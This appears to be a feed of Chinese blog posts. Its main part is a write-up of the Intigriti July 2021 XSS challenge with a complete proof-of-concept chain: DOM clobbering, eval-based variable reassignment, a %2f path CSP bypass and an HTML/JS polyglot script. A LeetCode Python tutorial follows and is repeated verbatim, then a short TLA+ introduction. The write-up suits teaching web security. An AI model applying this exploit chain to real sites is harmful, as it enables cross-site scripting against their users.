<meta charset="UTF-8">
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
</script>
<style>
body, ul {
margin:0;
padding:0;
}
ul#console {
background: lightyellow;
list-style-type: none;
font-family: 'Roboto Mono', monospace;
font-size: 14px;
line-height: 25px;
}
ul#console li {
border-bottom: solid 1px #80808038;
padding-left: 5px;
}
</style>
</head>
<body>
<ul id="console"></ul>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
case 'info':{
line.style.backgroundColor = 'lightcyan';
break;
}
case 'success':{
line.style.backgroundColor = 'lightgreen';
break;
}
case 'warn':{
line.style.backgroundColor = 'lightyellow';
break;
}
case 'err':{
line.style.backgroundColor = 'lightpink';
break;
}
default:{
line.style.backgroundColor = 'lightcyan';
}
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
log('Connection status: ', window.navigator.onLine?"Online":"Offline")
onmessage = e => {
switch (e.data.cmd) {
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
case "anchor": {
log("[anchor]: ", s(a(u(e.data.message))), type='info')
break;
}
case "clear": {
document.querySelector('#console').innerHTML = "";
break;
}
default: {
log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
}
}
}
</script>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
case "ping": { // check the connection
e.source.postMessage({message:'pong'},'*');
break;
}
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
} catch {
// hide this script on production
document.currentScript.remove();
}
</script>
<script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>
這個頁面的程式碼比其他兩頁多很多,而且可以找到一些我們需要的東西,比如說 eval
:
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
// ...
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
但這邊的 eval
似乎沒辦法讓我們直接執行想要的程式碼,因為規範滿嚴格的(大寫字母、部分小寫字母、數字跟 +-),可能是有其他用途。
另外一個有機會的地方是這裡:
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
// not important
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
如果 safe 是 true 的話,那 data 就不會被 escape,就可以插入任意的 HTML,達成 XSS。
而這邊值得注意的是函式的參數那一段:let log = (prefix, data, type='info', safe=false)
,這點值得特別解釋一下。
在有些程式語言裡面,支援這種參數的命名,在呼叫 function 的時候可以用名稱來傳入參數,例如說:log(prefix='a', safe=true)
,就傳入對應到的參數。
但是在 JS 裡面並沒有這種東西,參數的對應完全是靠「順序」來決定的。舉例來說,log("[logv]: ", window[m.message], safe=false, type='info');
對應到的參數其實是:
"[logv]: "
window[m.message]
false
'info'
是靠順序而不是靠名稱,這也是許多新手會被搞混的地方。
總之呢,就讓我們從 log
這個函式開始往回找吧,要執行到這一段,必須要 post message 到這個 window,然後符合一些條件。
這個 console.php 的頁面有一些條件限制,如果沒有符合這些條件就沒辦法執行到 log function 去。
首先這個頁面必須被 embed 在 iframe 裡面:
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
再來還有這些檢查要通過:
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
// ...
}
} catch {
// hide this script on production
document.currentScript.remove();
}
top.DEV
要是 truthy,然後傳進去的 credentials 要符合 top.store.users.admin.username
還有 top.store.users.admin.password
這樣我應該自己寫一個頁面,然後設置一下這些全域變數就好了?
沒辦法,因為有 Same Origin Policy 的存在,你只能存取同源頁面下的 window 內容,所以如果是自己寫一個頁面然後把 console.php embed 在裡面的話,在存取 top.DEV
時就會出錯。
所以我們需要有一個同源的頁面可以讓我們設置一些東西。而這個頁面,顯然就是可以讓我們插入一些 HTML 的 htmledit.php 了。
該怎麼在不能執行 JS 的情況下設置全域變數呢?沒錯,就是 DOM clobbering。
舉例來說,如果你有個 <div id="a"></div>
,在 JS 裡面你就可以用 window.a
或是 a
去存取到這個 div 的 DOM。
如果你對 DOM clobbering 不熟的話可以參考我之前寫過的淺談 DOM Clobbering 的原理及應用,或是這一篇也寫得很好:使用 Dom Clobbering 扩展 XSS
如果要達成多層的變數設置,就要利用到 iframe
搭配 srcdoc
:
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
這邊還有利用到一個特性是 a 元素的 username 屬性會是 href 屬性裡 URL 的 username。
這樣設置的話,top.DEV
就會是 a id="DEV"></a>
這個 DOM,而 store.users
就會是 HTMLCollection,store.users.admin
是那個 a,store.users.admin.username
則會是 href 裡面的 username,也就是 a
,而密碼也是一樣的。
綜合以上所述,我可以自己寫一個 HTML 然後用 window.open
去開啟 htmledit.php 然後把上面的內容帶進去:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'test',
credentials
}, '*')
}, 5000)
</script>
</body>
</html>
如此一來,我就可以用 postMessage 送訊息進去了。
雖然花了一番功夫,但這才只是開始而已。
safe 要是 true,這樣呼叫 log 的時候才不會把 <
escape,要讓 safe 是 true 的話,要找到有傳入四個參數的呼叫,因為第四個會是 safe 的值:
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
log("[logv]: ", window[m.message], safe=false, type='info')
這個我在找的 function call,而這之中第二個參數會是 window[m.message]
,也就是說可以把任一全域變數當作 data 傳進去,可是要傳什麼呢?
我在這邊卡得滿久的,因為我想不太到這邊可以傳什麼。以前有一招是可以傳 name,但是這個網頁已經自己設定 name 了所以沒辦法。另一招是用 URL 去傳就可以把東西放在 location 上面,但 log
裡面會檢查 data
是不是字串,不是的話要先經過 JSON.stringify
,會把內容encode。
卡很久的我只好不斷重複看著程式碼,看能不能找出什麼新東西,結果還真的找到了。下面這段 code 有一個新手常見問題,你有看出來嗎?
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
這個問題就出在 for (x of access) {
,x 忘了宣告,所以預設就會變成全域變數。在這邊的話,x
會是 top.store.users.admin
,也就是我們自己設置的那個 <a>
。
既然我們有了這個 x,就可以把它用 logv 這個 command 傳入 log function,然後因為 safe 會是 true,所以就可以直接把 x 的內容用 innerHTML 顯示出來。
如果你把一個 a 元素變成字串,會得到 a.href 的內容,所以我們可以把我們的 payload 放在 href 裡面。
但是,log
裡面會檢查 data 的型態,而 a
不是字串所以過不了檢查,這該怎麼辦呢?
這時候我重新看了一遍程式碼,發現了這個指令:
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
我可以這樣做:
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
這就等於是 Z=x+1
,然後 x+1
的時候會因為自動轉型的關係變成字串,這樣一來 Z 就會是一個含有我們 payload 的字串了。
雖然我們現在可以傳字串進去了,但還有一件事情要搞定,那就是因為 href 裡面的東西是 URL 所以會被 encode,例如說 <
會變成 %3C
:
var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:a@a#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:a@a/#%3Cimg%20src=x%20onload=alert(1)%3E1
這又要怎麼辦呢?
在 log
裡面有一行是 data = parse(data)
,而 parse 的程式碼是這樣的:
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
如果 e 是字串,那就回傳 s(e)
,而這個 s 是另外一個函式。
當初在看程式碼的時候,我看到 reassign 那邊對於 eval 的檢查時,就注意到了它的規則:RegExp = /^[s-zA-Z-+0-9]+$/;
,還有底下這四個函式:
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
其中 s, u 跟 t 這三個字元都是允許的,也就是說,可以透過 reassign 這個指令把他們互換!我們可以把 s
換成 u
,這樣 data 就會被 unescape 了!
所以最後的程式碼會長這樣:
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a#${escape(insertPayload)}"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// 等待 window 載入完成
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
// s=u
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
// Z=x+1 so Z = x.href + 1
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
// log window[Z]
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 5000)
所以 data 會是 ftp://a:a@a#<img src=x onerror=alert(1)>
,然後被設定到 HTML 上面,觸發 XSS!
不,事情沒那麼順利...我忘記有 CSP 了。
雖然我可以插入任意 HTML,但很遺憾地這個網頁也有 CSP:
script-src
'nonce-xxx'
https://challenge-0721.intigriti.io/analytics/
'unsafe-eval';
frame-src https:;
object-src 'none';base-uri 'none';
因為沒有 unsafe-inline
,所以我們之前的 payload 是無效的。而這一段 CSP 當中,https://challenge-0721.intigriti.io/analytics/
顯然是個很可疑的路徑。
這個頁面其實有引入一個 https://challenge-0721.intigriti.io/analytics/main.js 的檔案,但裡面沒有東西,只有一些註解而已。
其實看到這邊的時候我就知道要怎麼做了,因為我之前有學到一個繞過 CSP 的技巧,利用%2F
(編碼過後的 /
)以及前後端對於 URL 解析的不一致。
以 https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php
為例,對瀏覽器來說,這個 URL 是在 /analytics
底下,所以可以通過 CSP 的檢查。
但是對伺服器來說,這一段是 https://challenge-0721.intigriti.io/analytics/../htmledit.php
也就是 https://challenge-0721.intigriti.io/htmledit.php
所以我們成功繞過了 CSP,載入不同路徑的檔案!
因此現在的目標就變成我們要找一個檔案裡面可以讓我們放 JS 程式碼。看來看去都只有 htmledit.php 能用,但它不是一個 HTML 嗎?
如果你還記得的話,這個頁面的開頭有一段是 HTML 的註解:
<!-- <img src=x> -->
....
而在一些情況下,其實這語法也是 JS 的註解。不是我說的,是規格書說的:
換句話說呢,我們可以利用這點,做出一個看起來像 HTML,但實際上也是合法 JS 的檔案!
我最後做出來的 URL 是這樣:https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*
產生的 HTML 長這樣:
<!-- 1; 這邊都是註解
top.alert(document.domain);/* --> 這之後也都是註解了
<!DOCTYPE html>
<html lang="en">
<head>
...
第一行是註解,/*
之後也都是註解,所以這一整段其實就是 top.alert(document.domain);
的意思。
不過這邊可以注意的是 htmledit.php 的 content type 不會變,依然還是 text/html
,之所以可以把它當作 JS 引入,是因為同源的關係。如果你是把一個不同源的 HTML 當作 JS 引入,就會被 CORB 給擋下來。
做到這邊,我們就可以讓 data 是 <script src="https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*"></script>
這樣就會執行到 text_tag.innerHTML = data
,成功在頁面上放進去 script 還繞過了 CSP,完美!
但可惜的是,還差一點點...
就在我以為要過關的時候,卻發現我的 script 怎樣都不會執行。後來用關鍵字去查,才發現如果是用 innerHTML 插入 script 標籤,插入之後是不會去執行的。
我試著用 innerhtml import script
或是 innerhtml script run
之類的關鍵字去找解法但都沒找到。
最後,我是突然想到可以試試看 <iframe srcdoc="...">
,有種死馬當活馬醫的感覺,反正就試試看這樣行不行,沒有損失。
結果沒想到就可以了。直接 assign 給 innerHTML 不行,但如果內容是:<iframe srcdoc="<script src='...'></script>"
就可以,就會直接載入 script。
最後再補充一件事情,我要送出答案之前發現我的答案在 Firefox 上面不能跑,原因是這段程式碼:
<a id="users"></a>
<a id="users" name="admin" href="a"></a>
在 Chrome 上 window.users
會是 HTMLCollection,但在 Firefox 上面只會拿到一個 a 元素,而 window.users.admin
也就是 undefined。
但這問題不大,只要多一層 iframe 就可以搞定:
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#></a>' name=users>
">
</iframe>
我最後的答案長這樣:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#${escape(insertPayload)}></a>' name=users>
">
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait for 3s to let window loaded
setTimeout(() => {
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 3000)
</script>
</body>
</html>
我的方法是新開一個 window 來 post message,但其實也可以把自己作為 iframe,讓 htmledit.php embed,這樣的話其實也可以用 top.postMessage 去傳送訊息。
「把自己 embed 在其他網頁中」這個是我很常忘記的一個方法。
另一個非預期的解法也很神奇,是根據這一段:
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
這一段的重點是 type=e.data.message.type
,會設置一個 global variable 叫做 type,因此其實可以透過這邊傳入任意 payload,再去呼叫 logv 就好。就省去了把 payload 放在 a 上面那一大堆要處理的事情。
我滿喜歡這次的這個題目,因為有種層層關卡的感覺,一關一關慢慢過,每當我以為要破關的時候,就又卡住了,直到最後才把所有關卡都解完,成功執行 XSS。
從這個挑戰中,可以學習到的前端知識是:
從這個題目中可以學習或是複習滿多技巧的,CTF 跟這種挑戰有趣的點就在這邊,雖然說每樣東西拆開來可能都知道,但要怎麼精心串起來,是很考驗經驗跟功力的。
如果對 XSS 挑戰有興趣,可以關注 Intigriti 並且等待下一次的挑戰。
]]>在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Two Sum
Given an array of integers nums
and an integer target
, return indices of the two numbers such that they add up to target
.
You may assume that each input would have exactly one solution, and you may not use the same element twice.
You can return the answer in any order.
Example 1:
Input: nums = [2,7,11,15], target = 9
Output: [0,1]
Output: Because nums[0] + nums[1] == 9, we return [0, 1].
Example 2:
Input: nums = [3,2,4], target = 6
Output: [1,2]
Example 3:
Input: nums = [3,3], target = 6
Output: [0,1]
Constraints:
2 <= nums.length <= 104
-109 <= nums[i] <= 109
-109 <= target <= 109
Only one valid answer exists.
Follow-up: Can you come up with an algorithm that is less than O(n^2)
time complexity?
本題考驗是給定一個目標值和一串整數陣列,希望找到兩數相加等於目標值的數字索引。
Solution
參考方法一:迴圈相加比較法
透過兩層迴圈依序測試相加是否等於目標值,若是則回傳兩者的 index 值。這是一種直觀的作法但相對較慢。由於需要進行兩層迴圈運算,所以時間複雜度 O(n^2)
。
範例程式碼:
class Solution(object):
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
# 透過兩層迴圈依序測試相加是否等於目標值,是直觀的作法但相對較慢。時間複雜度 O(n^2)
# 第一層的數字和其餘數字相加並和目標值比較看看
for i in range(len(nums) - 1):
for j in range(i + 1, len(nums)):
if nums[i] + nums[j] == target:
return [i, j]
參考方法二:簡化迴圈相加比較法
透過迴圈將數值和目標值相減後檢查差異值是否有在剩餘數組中,若有則取得兩數的索引值。這樣取得第二個數在剩餘數組的位置的方式可以簡化第一種方法兩層迴圈運算較慢的問題。
class Solution(object):
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
# 透過迴圈將數值和目標值相減後檢查差異值是否有在剩餘數組中,若有則取得兩數的索引值
for i in range(len(nums) - 1):
if (target - nums[i]) in nums[i+1:]:
# 取得第二個數在剩餘數組的位置
j = nums[i+1:].index(target - nums[i])
return [i, i + j + 1]
Problem: Rotate Image
You are given an n x n
2D matrix representing an image, rotate the image by 90
degrees (clockwise 順時針).
You have to rotate the image in-place, which means you have to modify the input 2D matrix directly. DO NOT allocate another 2D matrix and do the rotation.
Example 1:
Input: matrix = [[1,2,3],[4,5,6],[7,8,9]]
Output: [[7,4,1],[8,5,2],[9,6,3]]
Example 2:
Input: matrix = [[5,1,9,11],[2,4,8,10],[13,3,6,7],[15,14,12,16]]
Output: [[15,13,2,5],[14,3,4,1],[12,6,8,9],[16,7,10,11]]
Example 3:
Input: matrix = [[1]]
Output: [[1]]
Example 4:
Input: matrix = [[1,2],[3,4]]
Output: [[3,1],[4,2]]
Constraints:
matrix.length == n
matrix[i].length == n
1 <= n <= 20
-1000 <= matrix[i][j] <= 1000
本題為給定一個 n x n
二維陣列代表一個圖片,將圖片順時針旋轉 90 度,注意需要在原地旋轉(修改原陣列)不要使用另外一個陣列來旋轉。
Solution
參考方法一:順時旋轉規律
將一個二維陣列 m[i,j] 旋轉後和原來的陣列進行比較,發現旋轉 90 度後規則為行列索引互換 m[j,i] 但排序相反這個規律。
class Solution(object):
def rotate(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: None Do not return anything, modify matrix in-place instead.
"""
# 將一個二維陣列 m[i,j] 旋轉後和原來的陣列進行比較,發現旋轉 90 度後規則為行列索引互換 m[j,i] 但排序相反
for i in range(len(matrix)):
for j in range(i + 1, len(matrix)):
matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]
# 排序反轉
for i in range(len(matrix)):
matrix[i].reverse()
return
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式、資料型別結構和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的陣列和串列處理問題開始進行介紹。
要注意的是在 Python 並無 Array 陣列的資料型別,主要會使用 List 串列進行說明。不過,相對於一般程式語言的 Array 陣列,Python 串列 List 具備許多彈性和功能性。
舉例來說,切片 slicing 就是 Python List 非常方便的功能,可以很方便的取出指定片段的子串列:
names = ['Jack', 'Joe', 'Andy', 'Kay', 'Eddie']
sub_names = names[2:4]
print(sub_names)
執行結果:
['Andy', 'Kay']
Problem: Two Sum
Given an array of integers nums
and an integer target
, return indices of the two numbers such that they add up to target
.
You may assume that each input would have exactly one solution, and you may not use the same element twice.
You can return the answer in any order.
Example 1:
Input: nums = [2,7,11,15], target = 9
Output: [0,1]
Output: Because nums[0] + nums[1] == 9, we return [0, 1].
Example 2:
Input: nums = [3,2,4], target = 6
Output: [1,2]
Example 3:
Input: nums = [3,3], target = 6
Output: [0,1]
Constraints:
2 <= nums.length <= 104
-109 <= nums[i] <= 109
-109 <= target <= 109
Only one valid answer exists.
Follow-up: Can you come up with an algorithm that is less than O(n^2)
time complexity?
本題考驗是給定一個目標值和一串整數陣列,希望找到兩數相加等於目標值的數字索引。
Solution
參考方法一:迴圈相加比較法
透過兩層迴圈依序測試相加是否等於目標值,若是則回傳兩者的 index 值。這是一種直觀的作法但相對較慢。由於需要進行兩層迴圈運算,所以時間複雜度 O(n^2)
。
範例程式碼:
class Solution(object):
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
# 透過兩層迴圈依序測試相加是否等於目標值,是直觀的作法但相對較慢。時間複雜度 O(n^2)
# 第一層的數字和其餘數字相加並和目標值比較看看
for i in range(len(nums) - 1):
for j in range(i + 1, len(nums)):
if nums[i] + nums[j] == target:
return [i, j]
參考方法二:簡化迴圈相加比較法
透過迴圈將數值和目標值相減後檢查差異值是否有在剩餘數組中,若有則取得兩數的索引值。這樣取得第二個數在剩餘數組的位置的方式可以簡化第一種方法兩層迴圈運算較慢的問題。
class Solution(object):
def twoSum(self, nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
# 透過迴圈將數值和目標值相減後檢查差異值是否有在剩餘數組中,若有則取得兩數的索引值
for i in range(len(nums) - 1):
if (target - nums[i]) in nums[i+1:]:
# 取得第二個數在剩餘數組的位置
j = nums[i+1:].index(target - nums[i])
return [i, i + j + 1]
Problem: Rotate Image
You are given an n x n
2D matrix representing an image, rotate the image by 90
degrees (clockwise 順時針).
You have to rotate the image in-place, which means you have to modify the input 2D matrix directly. DO NOT allocate another 2D matrix and do the rotation.
Example 1:
Input: matrix = [[1,2,3],[4,5,6],[7,8,9]]
Output: [[7,4,1],[8,5,2],[9,6,3]]
Example 2:
Input: matrix = [[5,1,9,11],[2,4,8,10],[13,3,6,7],[15,14,12,16]]
Output: [[15,13,2,5],[14,3,4,1],[12,6,8,9],[16,7,10,11]]
Example 3:
Input: matrix = [[1]]
Output: [[1]]
Example 4:
Input: matrix = [[1,2],[3,4]]
Output: [[3,1],[4,2]]
Constraints:
matrix.length == n
matrix[i].length == n
1 <= n <= 20
-1000 <= matrix[i][j] <= 1000
本題為給定一個 n x n
二維陣列代表一個圖片,將圖片順時針旋轉 90 度,注意需要在原地旋轉(修改原陣列)不要使用另外一個陣列來旋轉。
Solution
參考方法一:順時旋轉規律
將一個二維陣列 m[i,j] 旋轉後和原來的陣列進行比較,發現旋轉 90 度後規則為行列索引互換 m[j,i] 但排序相反這個規律。
class Solution(object):
def rotate(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: None Do not return anything, modify matrix in-place instead.
"""
# 將一個二維陣列 m[i,j] 旋轉後和原來的陣列進行比較,發現旋轉 90 度後規則為行列索引互換 m[j,i] 但排序相反
for i in range(len(matrix)):
for j in range(i + 1, len(matrix)):
matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]
# 排序反轉
for i in range(len(matrix)):
matrix[i].reverse()
return
以上介紹了常見的程式解題陣列相關問題,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。需要注意的是 Python 本身內建的操作方式、資料型別結構和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在年初我分享過團隊在嘗試的 self-improvement 計畫,過了半年,還是持續運作中,而且也不斷有收穫,在最近一次的分享會上,後端團隊的同事提到了在設計系統上遇到的一個問題,他們想知道有沒有辦法能驗證自己設計的系統規格沒有邏輯上的錯誤;當下我最直覺的想法是:應該只能把程式照著規格寫出來後,用大量的測試去驗證吧?這也是為什麼越有經驗的人,設計出來的系統通常比較穩定,因為能想到比較多的可能性與細節。
然而事實證明我還是太菜了。
同事介紹了 TLA+ 這個 formal specification language,透過它就能讓你在撰寫實際程式碼前,先行一步針對你的規格設計從高於程式碼的抽象層進行驗證。
這對我來說有點顛覆想像,因此今天就跟大家一起來認識一下 TLA+!
(話先說在前頭,這篇會是一個淺白的介紹文,不會涉及到太多程式語法與細節,主要目的在分享這個工具給大家認識。)
介紹 TLA+ 前,必須先認識其作者 - Leslie Lamport,他除了創作出 TLA+ 語言外,也是發明麵包演算法與 LaTeX 的人(讀過資工研究所的人對這兩個應該都不陌生吧!),此外更在 2013 年拿到 Turing Award,是個不僅僅在理論上有所突破,在實務上也貢獻良多的大神。
現年已八十歲的他,除了出書以外,在幾年前更錄製了免費的線上課程來教導大家如何使用 TLA+,在 Youtube 與他自己的網站上都找得到。今天這篇文章也是我看了其中兩部影片後總結的一些筆記,從影片與文章中,可以看出他特有的幽默感,很有趣 😂,像是突然扮個小丑:
TLA+ 是一門針對 digital system 進行 high-level modeling 的語言,擁有檢查模型的工具、IDE;digital system 包含演算法、程式碼、電腦系統;high-level 指的是在設計階段,在實際程式之上,是針對系統規格的驗證與說明。
使用 TLA+ 是指撰寫一個 TLA+ spec,並用 TLA+ Model Checker 來執行驗證,先給大家看長相,最後會有完整的範例:
雖說是一個語言,但是 TLA+ 並不能產生可實際運行的程式碼。TLA+ 主要讓你能針對系統中 critical 的部分更好得進行建模,將非重要部份與實作細節抽離,在並行運算(concurrent)與分散式系統(distributed system)中尤其有用,能幫助你從設計上抓出透過測試難以發現的錯誤與 bug。
對許多工程師來說,可能直覺會認為這東西效益不大,平常寫程式說不定連測試都沒時間寫,額外寫 TLA+ spec 去單純驗證系統設計,真的值得嗎?
這是合理的質疑,但這個方法也是經過許多人實際應用後背書的,許多人學習並使用後,都認為 TLA+ 提供他們一個新的思考方式,即便在實戰上並沒有真的使用到 TLA+,也讓他們成為了更好的工程師。
